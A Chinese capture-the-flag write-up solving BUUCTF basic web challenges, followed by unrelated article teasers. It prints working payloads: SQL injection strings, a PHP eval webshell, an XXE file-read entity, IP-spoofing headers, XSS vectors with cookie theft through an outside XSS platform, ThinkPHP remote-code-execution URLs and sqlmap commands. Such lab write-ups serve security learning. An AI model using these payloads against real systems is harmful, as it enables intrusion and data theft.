BUUCTF - Basic

文章目录

    • 1. Linux Labs 【SSH连接漏洞】
    • 2. BUU LFI COURSE【文件包含漏洞】
    • 3. BUU BRUTE【暴力破解用户名密码】
    • 4. BUU SQL COURSE【SQL注入-当前数据库】
    • 5. Upload-Labs-Linux 1【文件上传漏洞】
    • 7. Buu Upload Course 1【文件上传+包含漏洞】
    • 8. sqli-labs 1【SQL注入-服务器上的其他数据库】
    • 9. BUU BURP COURSE 1【IP伪造漏洞】
    • 10. BUU XXE COURSE 1 【XXE漏洞】
    • 11 LFI labs【文件包含漏洞】
    • 12 BUU XSS COURSE 1【XSS漏洞-窃取cookie】
    • 13 AWD Test 1【ThinkPHP框架漏洞】
    • 15 AWD Test2 【SQL注入-万能密码】
    • 16 BUU SQL COURSE 2【SQL注入-sqlmap使用】
    • 17 [Windows]Upload-Labs-Windows【文件上传漏洞-基础】
    • 18 XSS labs【XSS-基础】

1. Linux Labs 【SSH连接漏洞】

题目给出了ssh连接的用户名密码,考察 ssh 连接主机,主机 IP 地址可以通过ping域名获得;端口要改成靶机的端口,不是默认的22。
连接远程主机后即可找到 flag 文件。

2. BUU LFI COURSE【文件包含漏洞】

题目是一段PHP代码,看出来存在文件包含漏洞,只要传入文件名,就会将文件内容展示出来。可以盲目猜一猜 flag 的文件名:
在这里插入图片描述

3. BUU BRUTE【暴力破解用户名密码】

一道爆破题,burpsuite 爆破用户名密码即可。注意下请求过快会报 429,可以尝试减小线程数,增加延时。
在这里插入图片描述

4. BUU SQL COURSE【SQL注入-当前数据库】

这是一道SQL注入的题,可以看到地址栏输入 1 2 3 可以得到不同的显示结果,尝试判断注入点:
在这里插入图片描述
1)输入下列语句发现第一个有结果第二个没结果,说明是数值型且可以注入;

and 1=1 
and 1=2 

2)输入下列语句查找数据库名称,如果字段数不对可以再多试试,得到数据库为 news

union select 1,database()--+

3)输入下列语句查找表名,得到两张表 amdin 和 contents:

union select 1,group_concat(table_name) from information_schema.tables where table_schema="news"

4)输入下列语句查找 admin 表中的字段名,得到 id,username,password:

union select 1,group_concat(column_name) from information_schema.columns where table_name="admin"

5)知道了表名和字段名就可以查找表中的数据了,这里我们要找登录用户,找到后登录即可拿到 flag:

union select username,password from admin

5. Upload-Labs-Linux 1【文件上传漏洞】

文件上传漏洞,上传一个php一句话木马文件,返回了文件的访问路径,再用蚁剑连接,即可在根目录找到flag。

7. Buu Upload Course 1【文件上传+包含漏洞】

  1. 这个也是文件上传漏洞,上传一个木马文件,发现无论上传什么都会被重命名为 jpg 文件:
<?php eval(@$_POST['cmd']); echo "hello"?>

在这里插入图片描述
2. 本来这样是没啥办法的,但是我们访问这个木马文件,发现这个文件其实是被执行了,输出了 hello;
3. 所以这个其实是一个文件包含漏洞!!!只有文件包含漏洞才能将我们的 jpg 文件当作代码执行,所以还是直接用蚁剑访问这个木马文件,即可连接找到 flag。

8. sqli-labs 1【SQL注入-服务器上的其他数据库】

按照第 4 题类似的方式注入,查找当前数据库 security,发现所有表里都没有 flag。查找当前服务器上其他数据库:

union+select+1,2,group_concat(schema_name)+from+information_schema.schemata--+

发现有个 ctftraining 数据库,查找该数据库下的表,果然找到了有个 flag表,该表里有个flag字段。但注意后续查找 flag 的值需要带上数据库名,否则还会在当前数据库中查找就查不到了:

union+select+1,2,flag+from+ctftraining.flag--+

9. BUU BURP COURSE 1【IP伪造漏洞】

访问地址发现说只能本地访问,使用 bp 拦截请求,添加以下header头:

X-Real-IP: 127.0.0.1
Content-Length: 0

然后出现一个登录页面:
在这里插入图片描述拦截该登录请求,同样添加:X-Real-IP: 127.0.0.1
登录成功,返回 flag。

10. BUU XXE COURSE 1 【XXE漏洞】

XXE漏洞参考:https://zhuanlan.zhihu.com/p/689906749

随便输入一个用户名密码,发现请求参数是 XML 格式的,且返回输入的 admin 值:
在这里插入图片描述
可能存在 XXE 漏洞。

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

构造 XML 实体来读取 flag:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY a SYSTEM "file:///flag"> 
]>
<root><username>&a;</username><password>1</password>
</root>

这里可能需要猜测一下 flag 所处的位置。结果返回 flag:
在这里插入图片描述

11 LFI labs【文件包含漏洞】

文件包含漏洞:
在这里插入图片描述
看提示需要输入文件名,输入:/flag,返回 flag
在这里插入图片描述

12 BUU XSS COURSE 1【XSS漏洞-窃取cookie】

  1. XSS 漏洞。这是一个留言板,留言以后会返回留言保存的位置:
    在这里插入图片描述
  2. 注入 XSS:<script>alert('flag')</script>,但是没有成功,查看返回结果,原来是被转义了:
    在这里插入图片描述
  3. 尝试其他注入:<input onclick="alert('xss');">,可以注入成功。同样 img 标签也可以成功。
    在这里插入图片描述
  4. 现在的问题在于如何通过这个漏洞获取flag,XSS一般都是用来窃取cookie的,我们使用免费的 XSS 平台,通过xss漏洞将cookie窃取发到这个免费的 xss 平台上。
  5. 登录免费的XSS平台 https://xssaq.com/,首先创建一个项目,勾选以下两项:
    在这里插入图片描述
  6. 出来一些示例代码,选取 img 标签的代码,提交到输入框中:
    在这里插入图片描述
    在这里插入图片描述
  7. 由于本 XSS 漏洞为存储型漏洞,当有人访问我们提交的这个吐槽时,就会自动将其 cookie 发送到我们的 XSS 平台上。去项目内容看看,果然有一条 cookie 消息:
    在这里插入图片描述
  8. 直接访问这个后台地址 backend/admin.php,发现显示未登录:
    在这里插入图片描述
    拦截该请求,替换成管理员的 cookie,成功获取到了 flag:
    在这里插入图片描述
    在这里插入图片描述

13 AWD Test 1【ThinkPHP框架漏洞】

方式一:给出了ssh连接的用户名密码,通过 ssh 远程连接即可。

方式二:

  1. 启动靶机,是一个简陋的网页,随便点点,出现了以下页面:
    在这里插入图片描述
  2. 说明网站使用的是 ThinkPHP框架,且知道了其版本号。去查查这个框架存在的漏洞,发现有远程代码执行漏洞:
    在这里插入图片描述
    且可以查到漏洞的利用方法,即构造以下payload可获取php配置文件:?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
    在这里插入图片描述
  3. 输入上述payload,果然返回了 php 配置信息:
    在这里插入图片描述
  4. phpinfo 没啥有用的,构造以下 payload 还可以执行命令:

在这里插入图片描述
注意 id 就是我们要执行的命令行代码,这里我们 ls 查看根目录的文件:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/

发现有个 flag 和 flag.txt:
在这里插入图片描述
5. 查看该 flag.txt 提交后不对,查看 flag,flag 正确。
payload 为 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

在这里插入图片描述

15 AWD Test2 【SQL注入-万能密码】

  1. 给出了ssh连接的用户名密码,通过 ssh 远程连接即可。
  2. 如果使用网页登录,登录可尝试万能密码 admin' or 1#

在这里插入图片描述

16 BUU SQL COURSE 2【SQL注入-sqlmap使用】

  1. SQL 注入的题,看选择一条新闻标题会展示一条新闻,可以从此处着手
    在这里插入图片描述
  2. 开始在地址栏里尝试注入了好多次都没成功,后来才发现不应该直接在地址栏注入。打开F12,发现点击新闻时会发送一个隐藏的url,这个才是真正的注入点:
    在这里插入图片描述
  3. 按照之前的方式尝试注入,可以注入成功,不细讲。
  4. 这里介绍使用 sqlmap 的使用方式,通过sqlmap实现注入。
//获取所有数据库
python sqlmap.py -u URL --dbs
//获取当前数据库
python sqlmap.py -u URL --current-db
//获取表名(如果不指定数据库,将默认获取所有库的表名)
python sqlmap.py -u URL -D 数据库名 --tabls
//获取字段名
python sqlmap.py -u URL -D 数据库名 -T 表名 --columns
//获取值
sqlmap -u URL -D 数据库名 -T 表名 -C 字段1,字段2,... --dump

依次爆出数据库名、表名、字段名,获取值即可:python sqlmap.py -u http://c9f858c4-097b-4614-afc0-6dfb99111e10.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D ctftraining -T flag -C flag --dump

17 [Windows]Upload-Labs-Windows【文件上传漏洞-基础】

文件上传漏洞,前端校验图片类型,burpsuite 改文件后缀即可绕过,成功上传一句话木马并且返回了文件路径。但是用蚁剑连接时报错不知道啥问题。

18 XSS labs【XSS-基础】

一直让做 xss-labs 的题,攻破到第八关还没得到flag,不想做了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/41652.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL常用高级特性

MySQL作为一种广泛使用的关系型数据库管理系统&#xff0c;除了基本的数据库功能外&#xff0c;还提供了许多高级特性来满足不同应用场景的需求。以下是一些MySQL的常用高级特性及其详细讲解&#xff1a; 1. 存储引擎 功能介绍 MySQL支持多种存储引擎&#xff0c;每种引擎在…

C++线程的使用

C11之前&#xff0c;C语言没有对并发编程提供语言级别的支持&#xff0c;这使得我们在编写可移植的并发程序时&#xff0c;存在诸多的不便。现在C11中增加了线程以及线程相关的类&#xff0c;很方便地支持了并发编程&#xff0c;使得编写的多线程程序的可移植性得到了很大的提高…

使用Java构建物联网应用的最佳实践

使用Java构建物联网应用的最佳实践 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01; 随着物联网&#xff08;IoT&#xff09;技术的快速发展&#xff0c;越来越…

【FFMPEG基础(一)】解码源码

学习分享 main函数decodetorgb32.h 文件decodetorgb32 .cpp文件 main函数 #include <QApplication> #include "decodetorgb32.h" int main(int argc, char *argv[]) {QApplication a(argc, argv);DecodeToRGB32 toRGB32;int restoRGB32.openVideo("../fi…

01 Web基础与HTTP协议

1.1 Web 基础 本章将介绍 Web 基础知识&#xff0c;包括域名的概念、DNS 原理、静态网页和动态网页的相关知识。 1.1.1.域名概述 1.域名的概念 ip地址不易记忆 2.早期使用host文件解析域名 主机名重复主机维护困难 3.DNS 分布式层次式 4.域名空间结构 根域顶级域 组…

InstantStyle-Plus:风格转移与内容保留在文本到图像的生成

在之前的文章中已经和大家介绍过小红书在风格保持方面的优秀工作InstantID和InstantStyle,感兴趣的小伙伴可以点击下面&#x1f447;链接阅读&#xff5e; 小红书InstantID来了, 一张照片几秒钟就能生成个性化图片, 无缝衔接Stable Diffusion&#xff09; InstantID作者新作&…

国外使用代理IP的安全风险

1. 数据泄露 当使用代理IP时&#xff0c;用户的真实IP地址被隐藏&#xff0c;但仍然存在数据泄露的风险。如果代理服务器没有进行恰当的安全措施&#xff0c;用户的个人信息和访问记录可能会被黑客窃取或监控。 2. 恶意软件 在使用代理IP时&#xff0c;用户可能会在代理服务器…

关于 Mac 系统 .DS_store 文件的起源

原文&#xff1a;Arno - 2006.10.01 &#xff08;前排提醒&#xff1a;可以在 .gitignore 中添加 .DS_Store&#xff0c;否则 git 仓库会存储这个和项目无关的文件。&#xff09; 如果你是 Mac 用户&#xff0c;曾经将文件从 Mac 传输到 Windows&#xff0c;那么可能对 .DS_S…

c++ word转换为pdf

在windows系统下&#xff0c;使用QAxObject效果是最好的 转60多兆的文件速度还是可以的&#xff0c;不建议使用多线程&#xff0c;因为多线程会多次调用转换函数&#xff0c;导致程序一直运行&#xff0c;只有全部转换完成后&#xff0c;程序才能继续向下运行&#xff0c;但是c…

SketchUp + Enscape+ HTC Focus3 VR

1. 硬件: 设备连接 2. 软件: 安装steam steamVR Vive Business streaming 3. 操作: 双方登录steam 账号,然后带上头盔,用手柄在HTC Focus3 安装 串流软件,选择串流软件,在Enscape中选择 VR 模式即可 4.最终效果: SketchUp Enscape HTC Focus 3 VR 实时预览_哔哩哔哩_bi…

云微客短视频矩阵全域营销,更高效的获客引流方式!

在抖音这样一个拥有海量用户和内容的短视频平台上&#xff0c;单一账号往往难以覆盖我们的客户群体&#xff0c;甚至于每天发布四五条视频&#xff0c;所引发的流量也是微乎其微的。在竞争如此激烈的市场环境中&#xff0c;商家企业无不想方设法追求更高效的获客引流方式&#…

SQL Server 查询死锁以及解决死锁的基本知识(图文)

目录 1. 基本知识2. 查看和解锁被锁的表3. 查看和处理数据库堵塞 1. 基本知识 在 SQL Server 中&#xff0c;死锁是指两个或多个进程互相等待对方持有的资源&#xff0c;从而无法继续执行的现象 要解决死锁问题&#xff0c;首先需要识别并分析死锁的发生原因&#xff0c;然后…

Floyd判圈算法——环形链表(C++)

Floyd判圈算法(Floyd Cycle Detection Algorithm)&#xff0c;又称龟兔赛跑算法(Tortoise and Hare Algorithm)&#xff0c;是一个可以在有限状态机、迭代函数或者链表上判断是否存在环&#xff0c;求出该环的起点与长度的算法。 …

什么是断路器模式?Hystrix在其中扮演什么角色?

断路器模式&#xff08;Circuit Breaker Pattern&#xff09; 断路器模式是一种设计模式&#xff0c;它用于在分布式系统中防止级联失败的发生。类比于电路中的断路器&#xff0c;该模式的核心思想是当系统检测到一些调用或响应出现问题&#xff08;如超时、异常等&#xff09…

科研绘图系列:R语言箱线图(boxplot)

介绍 使用 ggplot2 包画箱线图通常使用 geom_boxplot() 函数。箱线图(Boxplot)是一种用于展示一组数据分布特征的图形,它能够提供以下信息: 中位数:箱线图中的中位线表示数据的中位数。四分位数:箱线图的箱子部分表示数据的四分位数范围,即25%和75%分位数,这可以展示数…

SQL面试题练习 —— 各用户最长的连续登录天数-可间断

目录 1 题目2 建表语句3 题解 1 题目 现有各用户的登录记录表t_login_events如下&#xff0c;表中每行数据表达的信息是一个用户何时登录了平台。现要求统计各用户最长的连续登录天数&#xff0c;间断一天也算作连续&#xff0c;例如&#xff1a;一个用户在1,3,5,6登录&#xf…

NVM 设置系统/终端默认(default)NODE 版本

NVM 设置系统/终端默认&#xff08;default&#xff09;NODE 版本 nvm alias default node版本查看当前 default 指向的 node 版本为 v16.17.1 nvm alias default 切换系统默认版本 查看当前 default 指向新版本

使用POI实现Excel文件的读取(超详细)

目录 一 导入poi相关的maven坐标 二 实现创建并且写入文件 2.1实现步骤 2.2实现代码 2.3效果展示 ​编辑 2.4注意 三 实现从Excel文件中读取数据 3.1实现步骤 3.2实现代码 3.3结果展示 一 导入poi相关的maven坐标 <!-- Apache poi --><dependency><gro…

【机器学习】机器学习与自然语言处理的融合应用与性能优化新探索

引言 自然语言处理&#xff08;NLP&#xff09;是计算机科学中的一个重要领域&#xff0c;旨在通过计算机对人类语言进行理解、生成和分析。随着深度学习和大数据技术的发展&#xff0c;机器学习在自然语言处理中的应用越来越广泛&#xff0c;从文本分类、情感分析到机器翻译和…

MySQL集群如何在主节点查询从节点的IP信息

在MySQL集群环境中&#xff0c;要查询从节点&#xff08;也称为复制从库&#xff09;的IP信息&#xff0c;你可以通过在主节点上执行相关的SQL查询来获取。这里提供了一些可能的方法&#xff1a; 方法一&#xff1a;SHOW SLAVE HOSTS命令&#xff08;适用于MySQL复制环境&…